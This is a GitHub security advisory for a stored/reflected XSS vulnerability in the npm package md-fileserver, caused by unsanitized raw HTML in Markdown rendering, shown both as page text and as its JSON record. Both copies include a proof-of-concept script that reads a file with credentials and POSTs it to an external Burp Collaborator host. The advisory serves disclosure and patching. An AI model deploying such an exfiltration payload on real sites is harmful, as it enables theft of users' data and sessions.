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GHSA-32Q2-HHR5-6QVV

Vulnerability from github – Published: 2026-05-21 17:57 – Updated: 2026-05-21 17:57
VLAI
Summary
md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)
Details

Summary

A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.

Details

An attacker can craft malicious Markdown content containing tags or event handlers (e.g., ). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.

Vulnerable Components

config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.

lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.

lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.

PoC

Create a pwn.md 

# Hello

<script>
  fetch('/etc/passwd', { credentials: 'include' })
    .then(r => r.text())
    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));
</script>

Open it on browser. image View the HTTP request in Burp Collaborator. image

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to: - Session hijacking - Account takeover - Credential theft - Defacement or injection of malicious content - Exfiltration of sensitive data via API tokens, CSRF tokens, or user information

This affects all users who can view Markdown content within the application.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "md-fileserver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80",
      "CWE-87"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T17:57:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA cross-site scripting (XSS) vulnerability exists in the application\u2019s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML\u2014including \u003cscript\u003e tags\u2014is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing \u003cscript\u003e tags or event handlers (e.g., \u003cimg onerror=...\u003e). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim\u2019s browser.\n\n### Vulnerable Components\nconfig.js \u2192 markdownIt: { html: true } (Lines 26\u201330)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33\u201358)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using \u003c%= markdown %\u003e without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n\u003cscript\u003e\n  fetch(\u0027/etc/passwd\u0027, { credentials: \u0027include\u0027 })\n    .then(r =\u003e r.text())\n    .then(t =\u003e fetch(\u0027https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil\u0027, { method: \u0027POST\u0027, body: t }));\n\u003c/script\u003e\n\n```\nOpen it on browser.\n\u003cimg width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" /\u003e\nView the HTTP request in Burp Collaborator.\n\u003cimg width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" /\u003e\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim\u2019s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.",
  "id": "GHSA-32q2-hhr5-6qvv",
  "modified": "2026-05-21T17:57:32Z",
  "published": "2026-05-21T17:57:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/commenthol/md-fileserver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)"
}